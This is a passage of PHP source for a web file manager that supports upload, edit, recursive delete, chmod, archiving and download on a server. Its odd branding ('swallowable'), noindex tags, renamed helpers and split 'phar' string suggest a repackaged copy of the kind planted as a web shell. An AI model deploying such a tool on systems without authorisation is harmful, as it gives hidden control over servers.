<li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
<li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
<a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
<a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
<li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
<a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
</ul>
</div>
<div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
<?php else: ?>
<div class="col-12"><a href="." target="_blank" class="float-right text-muted">swallowable <?php echo VERSION; ?></a></div>
<?php endif; ?>
</div>
</form>
<?php
fm_show_footer();
function print_external($key) {
global $external;
if(!array_key_exists($key, $external)) {
// throw new Exception('Key missing in external: ' . key);
echo "<!-- EXTERNAL: MISSING KEY $key -->";
return;
}
echo "$external[$key]";
}
function verifyToken($token)
{
if (hash_equals($_SESSION['token'], $token)) {
return true;
}
return false;
}
/**
* Delete file or folder (recursively)
* @param string $path
* @return bool
*/
function fm_rdelete($path)
{
if (is_link($path)) {
return unlink($path);
} elseif (is_dir($path)) {
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rdelete($path . '/' . $file)) {
$ok = false;
}
}
}
}
return ($ok) ? rmdir($path) : false;
} elseif (is_file($path)) {
return unlink($path);
}
return false;
}
function fm_rchmod($path, $filemode, $dirmode)
{
if (is_dir($path)) {
if (!chmod($path, $dirmode)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
return false;
}
}
}
}
return true;
} elseif (is_link($path)) {
return true;
} elseif (is_file($path)) {
return chmod($path, $filemode);
}
return false;
}
function fm_is_valid_ext($filename)
{
$allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;
$ext = pathinfo($filename, PATHINFO_EXTENSION);
$isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;
return ($isFileAllowed) ? true : false;
}
function fm_rename($old, $new)
{
$isFileAllowed = fm_is_valid_ext($new);
if(!is_dir($old)) {
if (!$isFileAllowed) return false;
}
return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
if (is_dir($path)) {
if (!fm_mkdir($dest, $force)) {
return false;
}
$objects = scandir($path);
$ok = true;
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
$ok = false;
}
}
}
}
return $ok;
} elseif (is_file($path)) {
return fm_copy($path, $dest, $upd);
}
return false;
}
function fm_mkdir($dir, $force)
{
if (file_exists($dir)) {
if (is_dir($dir)) {
return $dir;
} elseif (!$force) {
return false;
}
unlink($dir);
}
return mkdir($dir, 0777, true);
}
function fm_copy($f1, $f2, $upd)
{
$time1 = filemtime($f1);
if (file_exists($f2)) {
$time2 = filemtime($f2);
if ($time2 >= $time1 and $upd) {
return false;
}
}
$ok = copy($f1, $f2);
if ($ok) {
touch($f2, $time1);
}
return $ok;
}
function fm_get_mime_type($file_path)
{
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file_path);
finfo_close($finfo);
return $mime;
} elseif (function_exists('mime_content_type')) {
return mime_content_type($file_path);
} elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
$file = escapeshellarg($file_path);
$mime = shell_exec('file -bi ' . $file);
return $mime;
} else {
return '--';
}
}
function fm_redirect($url, $code = 302)
{
header('Location: ' . $url, true, $code);
exit;
}
function get_absolute_path($path) {
$path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
$parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
$absolutes = array();
foreach ($parts as $part) {
if ('.' == $part) continue;
if ('..' == $part) {
array_pop($absolutes);
} else {
$absolutes[] = $part;
}
}
return implode(DIRECTORY_SEPARATOR, $absolutes);
}
function fm_clean_path($path, $trim = true)
{
$path = $trim ? trim($path) : $path;
$path = trim($path, '\\/');
$path = str_replace(array('../', '..\\'), '', $path);
$path = get_absolute_path($path);
if ($path == '..') {
$path = '';
}
return str_replace('\\', '/', $path);
}
function fm_get_parent_path($path)
{
$path = fm_clean_path($path);
if ($path != '') {
$array = explode('/', $path);
if (count($array) > 1) {
$array = array_slice($array, 0, -1);
return implode('/', $array);
}
return '';
}
return false;
}
function fm_get_display_path($file_path)
{
global $path_display_mode, $root_path, $root_url;
switch ($path_display_mode) {
case 'relative':
return array(
'label' => 'Path',
'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
);
case 'host':
$relative_path = str_replace($root_path, '', $file_path);
return array(
'label' => 'Host Path',
'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
);
case 'full':
default:
return array(
'label' => 'Full Path',
'path' => fanco(fm_convert_win($file_path))
);
}
}
function fm_is_exclude_items($file) {
$ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
if (isset($exclude_items) and sizeof($exclude_items)) {
unset($exclude_items);
}
$exclude_items = FM_EXCLUDE_ITEMS;
if (version_compare(PHP_VERSION, '7.0.0', '<')) {
$exclude_items = unserialize($exclude_items);
}
if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
return true;
}
return false;
}
function fm_get_translations($tr) {
try {
$content = @file_get_contents('translation.json');
if($content !== FALSE) {
$lng = json_decode($content, TRUE);
global $lang_list;
foreach ($lng["language"] as $key => $value)
{
$code = $value["code"];
$lang_list[$code] = $value["name"];
if ($tr)
$tr[$code] = $value["translation"];
}
return $tr;
}
}
catch (Exception $e) {
echo $e;
}
}
function fm_get_size($file)
{
static $iswin;
static $isdarwin;
if (!isset($iswin)) {
$iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
}
if (!isset($isdarwin)) {
$isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
}
static $exec_works;
if (!isset($exec_works)) {
$exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
}
// try a shell command
if ($exec_works) {
$arg = escapeshellarg($file);
$cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
@exec($cmd, $output);
if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
return $size;
}
}
// try the Windows COM interface
if ($iswin and class_exists("COM")) {
try {
$fsobj = new COM('Scripting.FileSystemObject');
$f = $fsobj->GetFile( realpath($file) );
$size = $f->Size;
} catch (Exception $e) {
$size = null;
}
if (ctype_digit($size)) {
return $size;
}
}
// if all else fails
return filesize($file);
}
function fm_get_filesize($size)
{
$size = (float) $size;
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$power = ($size > 0) ? floor(log($size, 1024)) : 0;
$power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}
function fm_get_directorysize($directory) {
$bytes = 0;
$directory = realpath($directory);
if ($directory !== false and $directory != '' and file_exists($directory)){
foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
$bytes += $file->getSize();
}
}
return $bytes;
}
function fm_get_zif_info($path, $ext) {
if ($ext == 'zip' and function_exists('zip_open')) {
$arch = @zip_open($path);
if ($arch) {
$filenames = array();
while ($zip_entry = @zip_read($arch)) {
$zip_name = @zip_entry_name($zip_entry);
$zip_folder = substr($zip_name, -1) == '/';
$filenames[] = array(
'name' => $zip_name,
'filesize' => @zip_entry_filesize($zip_entry),
'compressed_size' => @zip_entry_compressedsize($zip_entry),
'folder' => $zip_folder
);
}
@zip_close($arch);
return $filenames;
}
} elseif($ext == 'tar' and class_exists('PharData')) {
$archive = new PharData($path);
$filenames = array();
foreach(new RecursiveIteratorIterator($archive) as $file) {
$parent_info = $file->getPathInfo();
$zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName());
$zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
$zip_folder = $parent_info->getFileName();
$zip_info = new SplFileInfo($file);
$filenames[] = array(
'name' => $zip_name,
'filesize' => $zip_info->getSize(),
'compressed_size' => $file->getCompressedSize(),
'folder' => $zip_folder
);
}
return $filenames;
}
return false;
}
function fanco($text)
{
return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}
function fm_isvalid_filename($text) {
return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}
function fm_set_msg($msg, $status = 'ok')
{
$_SESSION[DN_CESSION_ID]['message'] = $msg;
$_SESSION[DN_CESSION_ID]['status'] = $status;
}
function fm_is_utf8($string)
{
return preg_match('//u', $string);
}
function fm_convert_win($filename)
{
if (FM_IS_WIN and function_exists('iconv')) {
$filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
}
return $filename;
}
function fm_object_to_array($obj)
{
if (!is_object($obj) and !is_array($obj)) {
return $obj;
}
if (is_object($obj)) {
$obj = get_object_vars($obj);
}
return array_map('fm_object_to_array', $obj);
}
function fm_get_file_icon_class($path)
{
// get extension
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
switch ($ext) {
case 'ico':
case 'gif':
case 'jpg':
case 'jpeg':
case 'jpc':
case 'jp2':
case 'jpx':
case 'xbm':
case 'wbmp':
case 'png':
case 'bmp':
case 'tif':
case 'tiff':
case 'webp':
case 'avif':
case 'svg':
$img = 'fa fa-picture-o';
break;
case 'passwd':
case 'ftpquota':
case 'sql':
case 'js':
case 'ts':
case 'jsx':
case 'tsx':
case 'hbs':
case 'json':
case 'sh':
case 'config':
case 'twig':
case 'tpl':
case 'md':
case 'gitignore':
case 'c':
case 'cpp':
case 'cs':
case 'py':
case 'rs':
case 'map':
case 'lock':
case 'dtd':
$img = 'fa fa-file-code-o';
break;
case 'txt':
case 'ini':
case 'conf':
case 'log':
case 'htaccess':
case 'yaml':
case 'yml':
case 'toml':
case 'tmp':
case 'top':
case 'bot':
case 'dat':
case 'bak':
case 'htpasswd':
case 'pl':
$img = 'fa fa-file-text-o';
break;
case 'css':
case 'less':
case 'sass':
case 'scss':
$img = 'fa fa-css3';
break;
case 'bz2':
case 'tbz2':
case 'tbz':
case 'zip':
case 'rar':
case 'gz':
case 'tgz':
case 'tar':
case '7z':
case 'xz':
case 'txz':
case 'zst':
case 'tzst':
$img = 'fa fa-file-archive-o';
break;
case 'php':
case 'php4':
case 'php5':
case 'phps':
case 'phtml':
$img = 'fa fa-code';
break;
case 'htm':
case 'html':
case 'shtml':
case 'xhtml':
$img = 'fa fa-html5';
break;
case 'xml':
case 'xsl':
$img = 'fa fa-file-excel-o';
break;
case 'wav':
case 'mp3':
case 'mp2':
case 'm4a':
case 'aac':
case 'ogg':
case 'oga':
case 'wma':
case 'mka':
case 'flac':
case 'ac3':
case 'tds':
$img = 'fa fa-music';
break;
case 'm3u':
case 'm3u8':
case 'pls':
case 'cue':
case 'xspf':
$img = 'fa fa-headphones';
break;
case 'avi':
case 'mpg':
case 'mpeg':
case 'mp4':
case 'm4v':
case 'flv':
case 'f4v':
case 'ogm':
case 'ogv':
case 'mov':
case 'mkv':
case '3gp':
case 'asf':
case 'wmv':
case 'webm':
$img = 'fa fa-file-video-o';
break;
case 'eml':
case 'msg':
$img = 'fa fa-envelope-o';
break;
case 'xls':
case 'xlsx':
case 'ods':
$img = 'fa fa-file-excel-o';
break;
case 'csv':
$img = 'fa fa-file-text-o';
break;
case 'bak':
case 'swp':
$img = 'fa fa-clipboard';
break;
case 'doc':
case 'docx':
case 'odt':
$img = 'fa fa-file-word-o';
break;
case 'ppt':
case 'pptx':
$img = 'fa fa-file-powerpoint-o';
break;
case 'ttf':
case 'ttc':
case 'otf':
case 'woff':
case 'woff2':
case 'eot':
case 'fon':
$img = 'fa fa-font';
break;
case 'pdf':
$img = 'fa fa-file-pdf-o';
break;
case 'psd':
case 'ai':
case 'eps':
case 'fla':
case 'swf':
$img = 'fa fa-file-image-o';
break;
case 'exe':
case 'msi':
$img = 'fa fa-file-o';
break;
case 'bat':
$img = 'fa fa-terminal';
break;
default:
$img = 'fa fa-info-circle';
}
return $img;
}
function fm_get_image_exts()
{
return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}
function fm_get_video_exts()
{
return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}
function fm_get_audio_exts()
{
return array('wav', 'mp3', 'ogg', 'm4a');
}
function fm_get_text_exts()
{
return array(
'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
);
}
function fm_get_text_mimes()
{
return array(
'application/xml',
'application/javascript',
'application/x-javascript',
'image/svg+xml',
'message/rfc822',
'application/json',
);
}
function fm_get_text_names()
{
return array(
'license',
'readme',
'authors',
'contributors',
'changelog',
);
}
function fm_get_onlineViewer_exts()
{
return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}
function fm_get_file_mimes($extension)
{
$fileTypes['swf'] = 'application/x-shockwave-flash';
$fileTypes['pdf'] = 'application/pdf';
$fileTypes['exe'] = 'application/octet-stream';
$fileTypes['zip'] = 'application/zip';
$fileTypes['doc'] = 'application/msword';
$fileTypes['xls'] = 'application/vnd.ms-excel';
$fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
$fileTypes['gif'] = 'image/gif';
$fileTypes['png'] = 'image/png';
$fileTypes['jpeg'] = 'image/jpg';
$fileTypes['jpg'] = 'image/jpg';
$fileTypes['webp'] = 'image/webp';
$fileTypes['avif'] = 'image/avif';
$fileTypes['rar'] = 'application/rar';
$fileTypes['ra'] = 'audio/x-pn-realaudio';
$fileTypes['ram'] = 'audio/x-pn-realaudio';
$fileTypes['ogg'] = 'audio/x-pn-realaudio';
$fileTypes['wav'] = 'video/x-msvideo';
$fileTypes['wmv'] = 'video/x-msvideo';
$fileTypes['avi'] = 'video/x-msvideo';
$fileTypes['asf'] = 'video/x-msvideo';
$fileTypes['divx'] = 'video/x-msvideo';
$fileTypes['mp3'] = 'audio/mpeg';
$fileTypes['mp4'] = 'audio/mpeg';
$fileTypes['mpeg'] = 'video/mpeg';
$fileTypes['mpg'] = 'video/mpeg';
$fileTypes['mpe'] = 'video/mpeg';
$fileTypes['mov'] = 'video/quicktime';
$fileTypes['swf'] = 'video/quicktime';
$fileTypes['3gp'] = 'video/quicktime';
$fileTypes['m4a'] = 'video/quicktime';
$fileTypes['aac'] = 'video/quicktime';
$fileTypes['m3u'] = 'video/quicktime';
$fileTypes['php'] = ['application/x-php'];
$fileTypes['html'] = ['text/html'];
$fileTypes['txt'] = ['text/plain'];
//Unknown mime-types should be 'application/octet-stream'
if(empty($fileTypes[$extension])) {
$fileTypes[$extension] = ['application/octet-stream'];
}
return $fileTypes[$extension];
}
function scan($dir = '', $filter = '') {
$path = FM_ROOT_PATH.'/'.$dir;
if($path) {
$ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
$rii = new RegexIterator($ite, "/(" . $filter . ")/i");
$files = array();
foreach ($rii as $file) {
if (!$file->isDir()) {
$fileName = $file->getFilename();
$location = str_replace(FM_ROOT_PATH, '', $file->getPath());
$files[] = array(
"name" => $fileName,
"type" => "file",
"path" => $location,
);
}
}
return $files;
}
}
function fm_download_file($fileLocation, $fileName, $chunkSize = 1024)
{
if (connection_status() != 0)
return (false);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$contentType = fm_get_file_mimes($extension);
$size = filesize($fileLocation);
if ($size == 0) {
fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
@ini_set('magic_quotes_runtime', 0);
$fp = fopen("$fileLocation", "rb");
if ($fp === false) {
fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
$FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
return (false);
}
// headers
header('Content-Description: File Transfer');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header("Content-Transfer-Encoding: binary");
header("Content-Type: $contentType");
$contentDisposition = 'attachment';
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
$fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
} else {
header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
}
header("Accept-Ranges: bytes");
$range = 0;
if (isset($_SERVER['HTTP_RANGE'])) {
list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
str_replace($range, "-", $range);
$size2 = $size - 1;
$new_length = $size - $range;
header("HTTP/1.1 206 Partial Content");
header("Content-Length: $new_length");
header("Content-Range: bytes $range$size2/$size");
} else {
$size2 = $size - 1;
header("Content-Range: bytes 0-$size2/$size");
header("Content-Length: " . $size);
}
$fileLocation = realpath($fileLocation);
while (ob_get_level()) ob_end_clean();
readfile($fileLocation);
fclose($fp);
return ((connection_status() == 0) and !connection_aborted());
}
function fm_get_theme() {
$result = '';
if(FM_THEME == "dark") {
$result = "text-white bg-dark";
}
return $result;
}
class FM_Zipper
{
private $zip;
public function __construct()
{
$this->zip = new ZipArchive();
}
public function create($filename, $files)
{
$res = $this->zip->open($filename, ZipArchive::CREATE);
if ($res !== true) {
return false;
}
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
$this->zip->close();
return false;
}
}
$this->zip->close();
return true;
} else {
if ($this->addFileOrDir($files)) {
$this->zip->close();
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->zip->open($filename);
if ($res !== true) {
return false;
}
if ($this->zip->extractTo($path)) {
$this->zip->close();
return true;
}
return false;
}
private function addFileOrDir($filename)
{
if (is_file($filename)) {
return $this->zip->addFile($filename);
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
if (!$this->zip->addEmptyDir($path)) {
return false;
}
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
if (!$this->zip->addFile($path . '/' . $file)) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Zipper_Tar
{
private $tar;
public function __construct()
{
$this->tar = null;
}
public function create($filename, $files)
{
$this->tar = new PharData($filename);
if (is_array($files)) {
foreach ($files as $f) {
$f = fm_clean_path($f);
if (!$this->addFileOrDir($f)) {
return false;
}
}
return true;
} else {
if ($this->addFileOrDir($files)) {
return true;
}
return false;
}
}
public function unzip($filename, $path)
{
$res = $this->tar->open($filename);
if ($res !== true) {
return false;
}
if ($this->tar->extractTo($path)) {
return true;
}
return false;
}
/**
* Add file/folder to archive
* @param string $filename
* @return bool
*/
private function addFileOrDir($filename)
{
if (is_file($filename)) {
try {
$this->tar->addFile($filename);
return true;
} catch (Exception $e) {
return false;
}
} elseif (is_dir($filename)) {
return $this->addDir($filename);
}
return false;
}
private function addDir($path)
{
$objects = scandir($path);
if (is_array($objects)) {
foreach ($objects as $file) {
if ($file != '.' and $file != '..') {
if (is_dir($path . '/' . $file)) {
if (!$this->addDir($path . '/' . $file)) {
return false;
}
} elseif (is_file($path . '/' . $file)) {
try {
$this->tar->addFile($path . '/' . $file);
} catch (Exception $e) {
return false;
}
}
}
}
return true;
}
return false;
}
}
class FM_Config
{
var $data;
function __construct()
{
global $root_path, $root_url, $CONFIG;
$fm_url = $root_url.$_SERVER["PHP_SELF"];
$this->data = array(
'lang' => 'en',
'error_reporting' => true,
'show_hidden' => true
);
$data = false;
if (strlen($CONFIG)) {
$data = fm_object_to_array(json_decode($CONFIG));
} else {
$msg = 'swallowable<br>Error: Cannot load configuration';
if (substr($fm_url, -1) == '/') {
$fm_url = rtrim($fm_url, '/');
$msg .= '<br>';
$msg .= '<br>Seems like you have a trailing slash on the URL.';
$msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
}
die($msg);
}
if (is_array($data) and count($data)) $this->data = $data;
else $this->save();
}
function save()
{
$fm_file = __FILE__;
$var_name = '$CONFIG';
$var_value = var_export(json_encode($this->data), true);
$config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
if (is_writable($fm_file)) {
$lines = file($fm_file);
if ($fh = @fopen($fm_file, "w")) {
@fputs($fh, $config_string, strlen($config_string));
for ($x = 3; $x < count($lines); $x++) {
@fputs($fh, $lines[$x], strlen($lines[$x]));
}
@fclose($fh);
}
}
}
}
function fm_show_nav_path($path)
{
global $lang, $sticky_navbar, $editFile;
$isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
$getTheme = fm_get_theme();
$getTheme .= " navbar-light";
if(FM_THEME == "dark") {
$getTheme .= " navbar-dark";
} else {
$getTheme .= " bg-white";
}
?>
<nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
<a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<?php
$path = fm_clean_path($path);
$root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
$sep = '<i class="bread-crumb"> / </i>';
if ($path != '') {
$exploded = explode('/', $path);
$count = count($exploded);
$array = array();
$parent = '';
for ($i = 0; $i < $count; $i++) {
$parent = trim($parent . '/' . $exploded[$i], '/');
$parent_enc = urlencode($parent);
$array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
}
$root_url .= $sep . implode($sep, $array);
}
echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
?>
<div class="col-xs-6 col-sm-7">
<ul class="navbar-nav justify-content-end <?php echo fm_get_theme(); ?>">
<li class="nav-item mr-2">
<div class="input-group input-group-sm mr-1" style="margin-top:4px;">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
<div class="input-group-append">
<span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
</div>
<div class="input-group-append btn-group">
<span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
<div class="dropdown-menu dropdown-menu-right">
<a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
</div>
</div>
</div>
</li>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
</li>
<li class="nav-item">
<a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
</li>
<?php endif; ?>
<?php if (FM_USE_AUTH): ?>
<li class="nav-item avatar dropdown">
<a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
<div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
<?php if (!FM_READONLY): ?>
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
<?php endif ?>
<a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
<a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
</div>
</li>
<?php else: ?>
<?php if (!FM_READONLY): ?>
<li class="nav-item">
<a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
</li>
<?php endif; ?>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<?php
}
function fm_show_message()
{
if (isset($_SESSION[DN_CESSION_ID]['message'])) {
$class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
unset($_SESSION[DN_CESSION_ID]['message']);
unset($_SESSION[DN_CESSION_ID]['status']);
}
}
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="swallowable">
<meta name="author" content="CCP Programmers">
<meta name="robots" content="noindex, nofollow">
<meta name="googlebot" content="noindex">
<?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
<title><?php echo fanco(APP_TITLE) ?></title>
<?php print_external('pre-jsdelivr'); ?>
<?php print_external('css-bootstrap'); ?>
<style>
